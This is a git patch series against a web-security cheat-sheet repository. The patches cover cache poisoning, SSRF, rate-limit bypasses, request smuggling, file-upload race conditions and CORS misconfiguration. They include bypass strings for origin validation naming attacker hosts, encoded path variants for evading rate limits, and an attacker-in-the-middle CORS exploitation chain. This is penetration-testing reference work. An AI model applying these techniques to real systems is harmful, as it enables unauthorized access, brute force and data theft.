From ef6be186c5f5be1d1a14c3c8dcac6bff15236323 Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:25:15 +0300 Subject: [PATCH 01/17] Refactor links --- Web Application/Web Cache Poisoning/README.md | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/Web Application/Web Cache Poisoning/README.md b/Web Application/Web Cache Poisoning/README.md index 6340eb1..37cb09b 100644 --- a/Web Application/Web Cache Poisoning/README.md +++ b/Web Application/Web Cache Poisoning/README.md @@ -2,7 +2,7 @@ Caching is a technique that stores a copy of a given resource and serves it back when requested. When a web cache has a requested resource in its store, it intercepts the request and returns its copy instead of re-downloading from the originating server. -![cache-concept](img/cache-concept.svg) +![](img/cache-concept.svg) This achieves several goals: - Server load reduction (the server doesn't have to serve all clients itself), @@ -14,13 +14,13 @@ On the other side, it has to be configured properly as not all resources stay id A private cache is dedicated to a single user. A browser cache holds all documents downloaded via HTTP by the user. This cache is used to make visited documents available for back/forward navigation, saving, viewing-as-source, etc. without requiring an additional trip to the server. It likewise improves offline browsing of cached content. -![private-cache](img/private-cache.png) +![](img/private-cache.png) ## Shared proxy caches A shared cache is a cache that stores responses to be reused by more than one user. For example, an ISP or your company might have set up a web proxy as part of its local network infrastructure to serve many users so that popular resources are reused a number of times, reducing network traffic and latency. -![shared-cache](img/shared-cache.png) +![](img/shared-cache.png) ## Targets of caching operations @@ -131,7 +131,7 @@ The freshness lifetime is calculated based on several headers: The objective of web cache poisoning is to send a request that causes a harmful response that gets saved in the cache and served to other users. -![cache-poisoning](img/cache-poisoning.svg) +![](img/cache-poisoning.svg) ## Basic cache poisoning @@ -182,9 +182,11 @@ HTTP/1.1 200 OK "/> ``` -{% hint style="info" %} -More examples and techniques: [Web Cache Entanglement: Novel Pathways to Poisoning](https://portswigger.net/research/web-cache-entanglement) and [Practical Web Cache Poisoning](https://portswigger.net/research/practical-web-cache-poisoning) -{% endhint %} +{% embed url="https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner" %} + +References: +- [PortSwigger Research: Web Cache Entanglement: Novel Pathways to Poisoning](https://portswigger.net/research/web-cache-entanglement) +- [PortSwigger Research: Practical Web Cache Poisoning](https://portswigger.net/research/practical-web-cache-poisoning) ## Unauthenticated cache purge From fac7cc581245b56c3520a97c17a9578f3f89183b Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:25:54 +0300 Subject: [PATCH 02/17] Add links --- .../Server Side Request Forgery/README.md | 22 ++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/Web Application/Server Side Request Forgery/README.md b/Web Application/Server Side Request Forgery/README.md index d05aed9..3e6ff33 100644 --- a/Web Application/Server Side Request Forgery/README.md +++ b/Web Application/Server Side Request Forgery/README.md @@ -176,6 +176,8 @@ The [URL specification](https://tools.ietf.org/html/rfc3986) contains a number o ``` References: +- [Writeup: URL whitelist bypass in https://cxl-services.appspot.com](https://feed.bugs.xdavidhu.me/bugs/0008) +- [Writeup: Fixing the Unfixable: Story of a Google Cloud SSRF](https://bugs.xdavidhu.me/google/2021/12/31/fixing-the-unfixable-story-of-a-google-cloud-ssrf/) - [A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!](https://github.com/0xn3va/cheat-sheets/blob/master/Web%20Application/Server%20Side%20Request%20Forgery/materials/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf) - [Tool: Tiny URL Fuzzer](https://github.com/orangetw/Tiny-URL-Fuzzer) @@ -208,7 +210,11 @@ make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A 127.0.0.1 make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A 127.127.127.127 ``` -See more [1u.ms](http://1u.ms) +{% embed url="https://github.com/neex/1u.ms" %} + +Also, check `sslip.io`: + +{% embed url="https://sslip.io/" %} ## DNS rebinding @@ -224,7 +230,11 @@ $ dig A make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms. 0 IN A 127.0.0.1 ``` -See more [1u.ms](http://1u.ms) +{% embed url="https://github.com/neex/1u.ms" %} + +Also, check `lock.cmpxchg8b.com`: + +{% embed url="https://lock.cmpxchg8b.com/rebinder.html" %} # Adobe ColdFusion @@ -244,16 +254,22 @@ See more [1u.ms](http://1u.ms) # Server-side processing of arbitrary HTML and JS -Server-side processing of arbitrary HTML and JS data from the user can often be found when generating various documents, for example, in PDF format. If this functionality is vulnerable to HTML injection and/or XSS, you can try using this to access internal resources: +Server-side processing of arbitrary HTML and JS data from a user can often be found when generating various documents, for example, to PDFs. If this functionality is vulnerable to HTML injection and/or XSS, you can use this to access internal resources: ```html ')"> ``` +Use HTTPLeaks to determine if any of the allowed HTML tags could be used to abuse the processing. + +{% embed url="https://github.com/cure53/HTTPLeaks" %} + References: - [Write up: Local File Read via XSS in Dynamically Generated PDF](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html) +- [Write up: Exploiting HTML-to-PDF Converters through HTML Imports](https://mhmdiaa.com/blog/exploiting-html-imports/) - [Report: Blind SSRF/XSPA on dashboard.lob.com + blind code injection](https://hackerone.com/reports/517461) +- [Report: Bypassing HTML filter in "Packing Slip Template" Lead to SSRF to Internal Kubernetes Endpoints](https://hackerone.com/reports/1115139) # Request splitting From b6103fe060abf7900dae7c9a4fd7357ef5ae0916 Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:26:20 +0300 Subject: [PATCH 03/17] Add links and Java RMI research --- .../Server Side Request Forgery/post-exploitation.md | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/Web Application/Server Side Request Forgery/post-exploitation.md b/Web Application/Server Side Request Forgery/post-exploitation.md index 80a66dc..8c37984 100644 --- a/Web Application/Server Side Request Forgery/post-exploitation.md +++ b/Web Application/Server Side Request Forgery/post-exploitation.md @@ -338,7 +338,7 @@ site.com 172.16.1.2 first there will be an attempted connect to `172.16.1.1`, and if problems arise, to `172.16.1.2`. This allows you to find out which ports are open and which are not. -For this you can also use the service `http://1u.ms`. For example, if you need to find available ports on `127.0.0.1`, you can use +For this you can also use the service [http://1u.ms](https://github.com/neex/1u.ms). For example, if you need to find available ports on `127.0.0.1`, you can use ``` make-127-0-0-1-and-123-123-123-123rr.1u.ms @@ -424,6 +424,12 @@ If you can send POST requests, you can try to shutdown the Elasticsearch instanc /_shutdown ``` +# Java RMI + +Java RMI commonly available on ports `1090`, `1098`, `1099`, `1199`, `4443-4446`, `8999-9010`, `9999`. SSRF vulnerabilities that allow arbitrary bytes can be used to perform deserialization or codebase attacks on the Java RMI default components. + +{% embed url="https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/" %} + # JBoss Jboss commonly available on ports `80`, `443` (tls), `8080`, `8443` (tls). From dbc71bf591c3bbebb356fc9730ac156790ad0880 Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:26:50 +0300 Subject: [PATCH 04/17] Fix markup --- Web Application/Race Condition/README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/Web Application/Race Condition/README.md b/Web Application/Race Condition/README.md index b6a64b4..2a8988a 100644 --- a/Web Application/Race Condition/README.md +++ b/Web Application/Race Condition/README.md @@ -8,7 +8,7 @@ This is a fairly working way if the server allows the use of multiple threads to On the server side each thread establishes a TCP connection, sends data, waits for a response, closes the connection, opens it again, sends data, and so on. At first glance, all data is sent at the same time. But HTTP requests can arrive asynchronously due to many factors, such as delays in delivering packets over the network, the need to establish a secure connection, DNS resolving and many layers of abstraction that data pass through before being sent to a network device. -![doodle-train](img/doodle-train.gif) +![](img/doodle-train.gif) # Advanced exploitation @@ -16,7 +16,7 @@ The specification [RFC 7230 6.3.2](https://tools.ietf.org/html/rfc7230#section-6 This technique can be used to minimize the time between requests. -![http-pipelining](img/http-pipelining.png) +![](img/http-pipelining.png) The key point to HTTP Pipelining is that the web server receives requests sequentially, and processes the responses in the same order. This peculiarity can be used to attack in several steps, when it is necessary to sequentially perform two actions in the minimum amount of time or, for example, to slow down the server in the first request in order to increase the success of the attack. @@ -34,13 +34,13 @@ If you send the following request from the command line: $ echo -ne "GET / HTTP/1.1\r\nHost: website.com\r\n\r\n" | nc website.com 80 ``` -then you will get a response since the HTTP request will be completed. But this will not happen if you remove the last `\n` character, in this case, the server will wait for the last character before the timeout expires. +then you will get a response since the HTTP request will be completed. But this will not happen if you remove the last `\\n` character, in this case, the server will wait for the last character before the timeout expires. -> Many web servers use `\n` as the line feed character, so it’s important not to swap `\r` and `\n`, otherwise further tricks may not work. +> Many web servers use `\\n` as the line feed character, so it’s important not to swap `\\r` and `\\n`, otherwise further tricks may not work. Thus, you can simultaneously open many connections to the server, send 99% of your HTTP request and, as soon as it becomes clear that the main part of the data has been sent, send the last byte or several bytes. -![doodle-train-splitting](img/doodle-train-splitting.gif) +![](img/doodle-train-splitting.gif) This is especially important when it comes to a large POST request, for example, when you need to upload a file. However, this makes sense even with small requests, since the delivery of several bytes is much faster than sending kilobytes of data simultaneously. From 3e59417ca9bfcda3ff259cc14697ea1d5efe4500 Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:27:07 +0300 Subject: [PATCH 05/17] Fix markup --- Web Application/OAuth 2.0 Vulnerabilities/openid-connect.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Web Application/OAuth 2.0 Vulnerabilities/openid-connect.md b/Web Application/OAuth 2.0 Vulnerabilities/openid-connect.md index 2abb508..22452d1 100644 --- a/Web Application/OAuth 2.0 Vulnerabilities/openid-connect.md +++ b/Web Application/OAuth 2.0 Vulnerabilities/openid-connect.md @@ -318,7 +318,7 @@ The [hybrid flow](https://openid.net/specs/openid-connect-core-1_0.html#HybridFl {% embed url="https://0xn3va.gitbook.io/cheat-sheets/web-application/oauth-2.0-vulnerabilities" %} -## Security issues with JSON Web Token +# Security issues with JSON Web Token {% embed url="https://0xn3va.gitbook.io/cheat-sheets/web-application/json-web-token-vulnerabilities" %} From 368e70f46e8fe90d3bb66c79eb9ee759361e5a2d Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:27:53 +0300 Subject: [PATCH 06/17] Add bypass ways --- .../Improper Rate Limits/README.md | 25 ++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/Web Application/Improper Rate Limits/README.md b/Web Application/Improper Rate Limits/README.md index 33d28c2..23fed8d 100644 --- a/Web Application/Improper Rate Limits/README.md +++ b/Web Application/Improper Rate Limits/README.md @@ -42,6 +42,25 @@ You can use a proxy or VPN to change an IP address. To automate the change of IP If an application is behind a CloudFlare firewall, all requests sent from AWS IPs will be blocked. To avoid this, you need to discover an original IP of an application. {% endhint %} +# Changing path + +Try to change an endpoint path to bypass rate limits. Use different case or add extra symbols, such as `%00`, `%09`, `%0a`, `%0c`, `%20`, etc. For instance, if a bare endpoint is `/api/v4/endpoint`, try the following endpoints: + +- `/api/v4/endpoint` +- `/api/v4/Endpoint` +- `/api/v4/EndPoint` +- `/api/v4/endpoint%00` +- `/api/v4/%0aendpoint` +- `/api/v4/endpoint%09` +- `/api/v4/%20endpoint` +- ... + +Also, you can try to add extra parameters, for example, `/api/v4/endpoint?some_param=1` + +# Extra characters in parameters + +Try to add extra symbols, such as `%00`, `%09`, `%0a`, `%0c`, `%20`, etc. to params. For instance, if requesting a code to an email have only n tries, use `name@website.com%00` after exceeding n attempts, then `name@website.com%20`, and etc. + # Multiple values in request When brute-force, try passing several values in one request at once, for instance: @@ -75,9 +94,13 @@ An application can correctly process such requests and interpret this as one att An application can implement different rate limits for authenticated and unauthenticated users. For instance, after authentication, there may be no rate limits on attempts to change a password or disable two-factor authentication. +# Reset a rate limit + +An application can let you reset rate limits. For instance, an application can reset limits on attempts to send OTP when you resend a new OTP. It allow you to reset rate limits before each OTP check attempt, so a rate limit is never reached. + # Send requests to different instances of an application -Often, an application backend is deployed on multiple instances that run in parallel. Accordingly, when a client sends a request to the backend, a balancer ties a user's session to a specific instance. This can be accomplished by setting a custom HTTP header or cookie with an instance ID. If rate limit values ​​are not synchronized between instances, you can increase the number of available attempts by sending requests to different instances. In order to find out existing IDs, try to send requests to the backend from different IPs and without the header or cookie. A balancer will assign a random instance and return it in the header or cookie for such requests. +Often, an application backend is deployed on multiple instances that run in parallel. Accordingly, when a client sends a request to the backend, a balancer ties a user's session to a specific instance. This can be accomplished by setting a custom HTTP header or cookie with an instance ID. If rate limit values are not synchronized between instances, you can increase the number of available attempts by sending requests to different instances. In order to find out existing IDs, try to send requests to the backend from different IPs and without the header or cookie. A balancer will assign a random instance and return it in the header or cookie for such requests. # References From 5217cfea0aecc9369cb5f6fbca72bd4cca91c0e7 Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:28:16 +0300 Subject: [PATCH 07/17] Fix markup --- Web Application/HTTP Request Smuggling/README.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/Web Application/HTTP Request Smuggling/README.md b/Web Application/HTTP Request Smuggling/README.md index 4a9c746..53b04ed 100644 --- a/Web Application/HTTP Request Smuggling/README.md +++ b/Web Application/HTTP Request Smuggling/README.md @@ -1,12 +1,12 @@ -Since HTTP/1.1 there's been widespread support for sending multiple HTTP requests over a single underlying TCP or SSL/TLS socket. The protocol is extremely simple - HTTP requests are simply placed back to back, and the server parses headers to work out where each one ends and the next one starts. +Since HTTP/1.1 has been widespread support for sending multiple HTTP requests over a single underlying TCP or SSL/TLS socket. The protocol is extremely simple - HTTP requests are simply placed back to back, and the server parses headers to work out where each one ends and the next one starts. By itself, this is harmless. However, modern websites are composed of chains of systems, all talking over HTTP. This multi-tiered architecture takes HTTP requests from multiple different users and routes them over a single TCP/TLS connection. -![article-revproxy](/Web%20Application/HTTP%20Request%20Smuggling/img/article-revproxy.svg) +![](img/article-revproxy.svg) -This means that suddenly, it's crucial that the back-end agrees with the front-end about where each message ends. Otherwise, an attacker might be able to send an ambiguous message which gets interpreted as two distinct HTTP requests by the back-end. +This means that suddenly, it is crucial that the back-end agrees with the front-end about where each message ends. Otherwise, an attacker might be able to send an ambiguous message which gets interpreted as two distinct HTTP requests by the back-end. -![article-revproxy-desynced](/Web%20Application/HTTP%20Request%20Smuggling/img/article-revproxy-desynced.svg) +![](img/article-revproxy-desynced.svg) # Double content length @@ -48,9 +48,9 @@ Host: vulnerable-website.com ... ``` -Generates 2 error `400 Bad Request`, because the second query is starting with `X-Foo: Bar` and that's an invalid first query line. +Generates 2 error `400 Bad Request`, because the second query is starting with `X-Foo: Bar` and that is an invalid first query line. -An invalid pipeline might look something like (as there'is no `\r\n` between the 2 queries): +An invalid pipeline might look something like (as there is no `\r\\n` between the 2 queries): ```http GET / HTTP/1.1 @@ -120,7 +120,7 @@ Whenever we find a way to hide the `Transfer-Encoding` header from one server in ## Chunked messages -A chunked message body consists of 0 or more chunks. Each chunk consists of the chunk size, followed by a newline (\r\n), followed by the chunk contents. The message is terminated with a chunk of size 0, followed by a newline (\r\n). Example: +A chunked message body consists of 0 or more chunks. Each chunk consists of the chunk size, followed by a newline (\r\\n), followed by the chunk contents. The message is terminated with a chunk of size 0, followed by a newline (\r\\n). Example: ```http POST / HTTP/1.1 From 3c006a7fbb2d1a42c7ba2d0f662b85a74f1aa1db Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:28:58 +0300 Subject: [PATCH 08/17] Add cases related to a race condition --- .../File Upload Vulnerabilities/README.md | 35 +++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/Web Application/File Upload Vulnerabilities/README.md b/Web Application/File Upload Vulnerabilities/README.md index 520e978..d4447b1 100644 --- a/Web Application/File Upload Vulnerabilities/README.md +++ b/Web Application/File Upload Vulnerabilities/README.md @@ -190,6 +190,41 @@ References: - [Report: XXE at ecjobs.starbucks.com.cn/retail/hxpublic_v6/hxdynamicpage6.aspx](https://hackerone.com/reports/500515) - [Writeup: My first XML External Entity (XXE) attack with .gpx file](https://medium.com/@valeriyshevchenko/my-first-xml-external-entity-xxe-attack-with-gpx-file-5ca78da9ae98) +# Race condition + +{% embed url="https://0xn3va.gitbook.io/cheat-sheets/web-application/race-condition" %} + +## File upload race condition + +If an application uploads a file directly to a target folder before the file passes validation, you can abuse this behavior by using race condition. + +Suppose file upload has the following flow: + +1. Upload file to a target folder +2. Validate file +3. If the validation fails, remove the file. Otherwise, send the link to a user + +You can use race condition to fetch the file between steps 1 and 3 while the validation is in progress. + +References: +- [Web Security Academy: File upload vulnerabilities - Exploiting file upload race conditions](https://portswigger.net/web-security/file-upload#exploiting-file-upload-race-conditions) + +## URL-based file upload race condition + +If an application allows users to upload a file by providing a URL and fetches the file for validation to a user-accessible folder, you can abuse this behavior by using race condition. + +Suppose file upload has the following flow: + +1. Receive the URL from a user +2. Create a local copy for validation within a user-accessible folder +3. Validate file +4. If the validation fails, reject the URL. Otherwise, send the link to a user + +You can use race condition to fetch the file between steps 2 and 4 while the validation is in progress. + +References: +- [Web Security Academy: File upload vulnerabilities - Race conditions in URL-based file uploads](https://portswigger.net/web-security/file-upload#race-conditions-in-url-based-file-uploads) + # SSRF via HTTP range requests If an application download a file from a user-provided link with [HTTP range requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests) you can try to redirect the request one of the chunks to an internal server. From e650e1a71a13ce5d6792f211d1b69be450156dee Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:30:37 +0300 Subject: [PATCH 09/17] Fix markup and add server-side cache poisoning case --- .../CORS Misconfiguration/README.md | 344 +++++++++--------- 1 file changed, 177 insertions(+), 167 deletions(-) diff --git a/Web Application/CORS Misconfiguration/README.md b/Web Application/CORS Misconfiguration/README.md index b6cfb25..40af4ce 100644 --- a/Web Application/CORS Misconfiguration/README.md +++ b/Web Application/CORS Misconfiguration/README.md @@ -9,10 +9,10 @@ The same-origin policy is a restrictive cross-origin specification that limits t The CORS standard works by adding new HTTP headers that let servers describe which origins are permitted to read that information from a web browser. A web application executes a cross-origin HTTP request when it requests a resource that has a different origin from its own. {% hint style="info" %} -Origin is the triple: (scheme, host, port) +Origin is the following triple: (scheme, host, port) {% endhint %} -For HTTP request methods that can cause side-effects on server data, the specification mandates that browsers preflight the request, soliciting supported methods from the server with the HTTP `OPTIONS` request method, and then, upon approval from the server, sending the actual request. +For HTTP request methods that can cause side-effects on server data, the specification mandates that browsers preflight the request, soliciting supported methods from a server with the HTTP `OPTIONS` request method, and then, upon approval from a server, sending the actual request. Servers can also inform clients whether credentials should be sent with requests. @@ -20,46 +20,46 @@ CORS failures result in errors, but specifics about the error are not available ## Simple requests -Simple requests don't trigger a CORS preflight. A simple request is one that meets **all** the following conditions: +Simple requests do not trigger a CORS preflight. A simple request is one that meets **all** the following conditions: - One of the allowed methods: - - `GET`, - - `HEAD`, - - `POST`. + - `GET` + - `HEAD` + - `POST` - The only allowed headers which can will be set manually: - - `Accept`, - - `Accept-Language`, - - `Content-Language`, - - `Content-Type`, - - `DPR`, - - `Downlink`, - - `Save-Data`, - - `Viewport-Width`, - - `Width`. + - `Accept` + - `Accept-Language` + - `Content-Language` + - `Content-Type` + - `DPR` + - `Downlink` + - `Save-Data` + - `Viewport-Width` + - `Width` - The only allowed values for the `Content-Type` header: - - `application/x-www-form-urlencoded`, - - `multipart/form-data`, - - `text/plain`. -- No event listeners are registered on any `XMLHttpRequestUpload` object used in the request (these are accessed using the [XMLHttpRequest.upload](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/upload) property). -- No [ReadableStream](https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream) object is used in the request. + - `application/x-www-form-urlencoded` + - `multipart/form-data` + - `text/plain` +- No event listeners are registered on any `XMLHttpRequestUpload` object used in a request (these are accessed using the [XMLHttpRequest.upload](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/upload) property). +- No [ReadableStream](https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream) object is used in a request. ## Preflighted requests -Preflighted requests first send an HTTP request by the `OPTIONS` method to the resource on the other domain, to determine if the actual request is safe to send. +Preflighted requests first send a HTTP request by the `OPTIONS` method to a resource on an other domain, to determine if an actual request is safe to send. ## Requests with credentials Credentialed requests allow to send HTTP cookies and HTTP Authentication information (by default browsers will not send credentials). -When responding to a credentialed request, the server must specify an origin in the value of the `Access-Control-Allow-Origin` header, instead of specifying the `'*'` wildcard. +When responding to a credentialed request, a server must specify an origin in a value of the `Access-Control-Allow-Origin` header, instead of specifying the `'*'` wildcard. {% hint style="info" %} -Cookies set in CORS responses are subject to normal third-party cookie policies. +Cookies set in CORS responses are subject to normal third-party cookie policies {% endhint %} ## The HTTP request headers -This section lists headers that clients may use when issuing HTTP requests in order to make use of the CORS feature. Note that these headers are set for you when making requests to servers. Developers using cross-site `XMLHttpRequest` capability do not have to set any CORS headers programmatically. +This section describes headers that a client may set when issuing HTTP requests in order to make use of the CORS feature. These headers are set by a browser when making requests to a server. Developers using cross-site `XMLHttpRequest` capability do not have to set any CORS headers programmatically. ### Origin @@ -67,13 +67,12 @@ This section lists headers that clients may use when issuing HTTP requests in or Origin: ``` -The `Origin` header indicates the origin of the cross-site access request or preflight request. The `origin` parameter is a URI indicating the server from which the request initiated. It does not include any path information, but only - the server name. +The `Origin` header indicates an origin of a cross-site access request or preflight request. The `origin` parameter is a URI indicating a server from which the request initiated. It does not include any path information, but only a server name. {% hint style="info" %} -The origin value can be null, or a URI. +The origin value can be null, or a URI -In any access control request, the `Origin` header is always sent. +In any access control request, the `Origin` header is always sent {% endhint %} ### Access-Control-Request-Method @@ -82,7 +81,7 @@ In any access control request, the `Origin` header is always sent. Access-Control-Request-Method: ``` -The `Access-Control-Request-Method` is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made. +The `Access-Control-Request-Method` is used when issuing a preflight request to let a server know what HTTP method will be used when an actual request is made. ### Access-Control-Request-Headers @@ -90,11 +89,11 @@ The `Access-Control-Request-Method` is used when issuing a preflight request to Access-Control-Request-Headers: [, ]* ``` -The `Access-Control-Request-Headers` header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made. +The `Access-Control-Request-Headers` header is used when issuing a preflight request to let a server know what HTTP headers will be used when an actual request is made. ## The HTTP Response Headers -This section lists the HTTP response headers that servers send back for access control requests as defined by the CORS specification. +This section describes HTTP response headers that a server sends back for access control requests as defined by the CORS specification. ### Access-Control-Allow-Origin @@ -102,9 +101,9 @@ This section lists the HTTP response headers that servers send back for access c Access-Control-Allow-Origin: | * ``` -The `Access-Control-Allow-Origin` specifies either a single origin ([or null](https://www.w3.org/TR/cors/#access-control-allow-origin-response-header)), which tells browsers to allow that origin to access the resource; or else — for requests without credentials — the `'*'` wildcard, to tell browsers to allow any origin to access the resource. +The `Access-Control-Allow-Origin` specifies either a single origin ([or null](https://www.w3.org/TR/cors/#access-control-allow-origin-response-header)), which tells browsers to allow that origin to access a resource. For requests without credentials - the `'*'` wildcard, to tell browsers to allow any origin to access a resource. -If the server specifies a single origin rather than the `'*'` wildcard, then the server should also set `Origin` in the [Vary](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Vary) response header — to indicate to clients that server responses will differ based on the value of the `Origin` request header. +If a server specifies a single origin rather than the `'*'` wildcard, a server should also set `Origin` in the [Vary](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Vary) response header - to indicate to clients that server responses will differ based on the value of the `Origin` request header. ### Access-Control-Allow-Methods @@ -112,7 +111,7 @@ If the server specifies a single origin rather than the `'*'` wildcard, then the Access-Control-Allow-Methods: [, ]* ``` -The `Access-Control-Allow-Methods` header specifies the method or methods allowed when accessing the resource. This is used in response to a preflight request. +The `Access-Control-Allow-Methods` header specifies a method or methods allowed when accessing a resource. This is used in response to a preflight request. ### Access-Control-Allow-Headers @@ -129,13 +128,13 @@ Access-Control-Expose-Headers: [, ]* ``` The `Access-Control-Expose-Headers` header lets a server whitelist headers that browsers are allowed to access. By default, browsers have access to only the 7 CORS-safelisted response headers: -- `Cache-Control`, -- `Content-Language`, -- `Content-Length`, -- `Content-Type`, -- `Expires`, -- `Last-Modified`, -- `Pragma`. +- `Cache-Control` +- `Content-Language` +- `Content-Length` +- `Content-Type` +- `Expires` +- `Last-Modified` +- `Pragma` ### Access-Control-Max-Age @@ -143,9 +142,7 @@ The `Access-Control-Expose-Headers` header lets a server whitelist headers that Access-Control-Max-Age: ``` -The `delta-seconds` parameter indicates the number of seconds the results can be cached. - -The `Access-Control-Max-Age` header indicates how long the results of a preflight request can be cached. +The `Access-Control-Max-Age` header indicates how long results of a preflight request can be cached. ### Access-Control-Allow-Credentials @@ -153,33 +150,124 @@ The `Access-Control-Max-Age` header indicates how long the results of a prefligh Access-Control-Allow-Credentials: true ``` -When a request's credentials mode ([Request.credentials](https://developer.mozilla.org/en-US/docs/Web/API/Request/credentials)) is `include`, browsers will only expose the response to frontend JavaScript code if the `Access-Control-Allow-Credentials` value is true. +When a request's credentials mode ([Request.credentials](https://developer.mozilla.org/en-US/docs/Web/API/Request/credentials)) is `include`, browsers will only expose a response to frontend JavaScript code if the `Access-Control-Allow-Credentials` value is true. Credentials are cookies, authorization headers or TLS client certificates. # CORS misconfiguration -Many modern websites use CORS to allow access from subdomains and trusted third parties. Their implementation of CORS may contain mistakes or be overly lenient to ensure that everything works, and this can result in exploitable vulnerabilities. +## Abusing CORS without credentials + +If a victim's network location works as a kind of authentication, you can use a victim’s browser as a proxy to bypass IP-based authentication and access applications within an internal network. + +In terms of impact this is similar to DNS rebinding. + +## Breaking TLS with poorly configured CORS + +Suppose an application that rigorously employs HTTPS also whitelists a trusted subdomain that is using plain HTTP. For instance, when an application receives the following request: + +```http +GET /api/request/api_key HTTP/1.1 +Host: vulnerable-website.com +Origin: http://trusted-subdomain.vulnerable-website.com +Cookie: sessionid=... +``` + +An application responds with: + +```http +HTTP/1.1 200 OK +Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com +Access-Control-Allow-Credentials: true +``` + +In such case, an attacker who is in a position to intercept a victim's traffic can exploit the CORS configuration to compromise a victim's interaction with the application. The attack involves the next steps: + +1. A victim user makes any plain HTTP request +2. An attacker injects a redirection to `http://trusted-subdomain.vulnerable-website.com` +3. A victim's browser follows the redirect +4. An attacker intercepts the plain HTTP request, and returns a spoofed response containing a CORS request to `https://vulnerable-website.com` +5. A victim's browser makes the CORS request, including the `http://trusted-subdomain.vulnerable-website.com` as an origin +6. An application allows the request because the origin is whitelisted; requested sensitive data is returned in the response +7. An attacker's spoofed page can read the sensitive data and transmit it to any domain under their control + +The attack is effective even if a vulnerable application is otherwise robust in its usage of HTTPS, with no HTTP endpoint and all cookies flagged as secure. + +## Broken parser + +Most servers use basic string operations to verify the `Origin` header, but some parse it as a URL instead. This allows you to exploit the browser's tolerance for unusual characters in domain names. + +In Safari, `https://website.com%60.attacker.com/` is a valid URL. If a CORS request originating from that URL, the `Origin` header will look like next one: + +```http +Origin: https://website.com`.attacker.com/ +``` + +A server may parse this header as `https://website.com` omitting the `` `.attacker.com/ `` part. + +Chrome and Firefox supported the `_` character in subdomains, that can be used instead of `` ` `` to exploit Firefox and Chrome users. + +You can also try to use other approaches to break a validation: + +```http +expected-host.com.attacker.com +expected-host.computer +foo@evil-host:80@expected-host +foo@evil-host%20@expected-host +evil-host%09expected-host +127.1.1.1:80\@127.2.2.2:80 +127.1.1.1:80:\@@127.2.2.2:80 +127.1.1.1:80#\@127.2.2.2:80 +ß.evil-host +``` + +References: +- [Research: Advanced CORS Exploitation Techniques](https://www.corben.io/advanced-cors-techniques/) +- [Server Side Request Forgery: Broken parser](https://0xn3va.gitbook.io/cheat-sheets/web-application/server-side-request-forgery#broken-parser) +- [@HolyBugx tweet](https://mobile.twitter.com/HolyBugx/status/1464904818242338820) + +## Exploiting XSS via CORS trust relationships + +Even "correctly" configured CORS establishes a trust relationship between two origins. If an application trusts an origin that is vulnerable to XSS, an attacker can inject JavaScript to retrieve sensitive information from the application using CORS. + +Given the following request: + +```http +GET /api/request/api_key HTTP/1.1 +Host: vulnerable-website.com +Origin: https://subdomain.vulnerable-website.com +Cookie: sessionid=... +``` + +If an application responds with: + +```http +HTTP/1.1 200 OK +Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com +Access-Control-Allow-Credentials: true +``` + +An attacker who finds an XSS vulnerability on `subdomain.vulnerable-website.com` could use that to retrieve an API key using a URL like: `https://subdomain.vulnerable-website.com/?xss=` ## Generation the Access-Control-Allow-Origin header -No browsers actually support a space-separated list of origins (the specification suggests this), like: +No browsers actually support a space-separated list of origins (the specification suggests this): ```http Access-Control-Allow-Origin: http://foo.com http://bar.net ``` -Additionally, a wildcard won't work to trust all subdomains, like +Additionally, a wildcard does not allow you to trust all subdomains: ```http Access-Control-Allow-Origin: *.bar.net ``` -The only wildcard origin is `'*'`. +There is only wildcard origin `'*'`. -Since you cannot use wildcard in `Access-Control-Allow-Origin` when credentials flag is true - [click](#access-control-allow-origin), many servers programmatically generate the 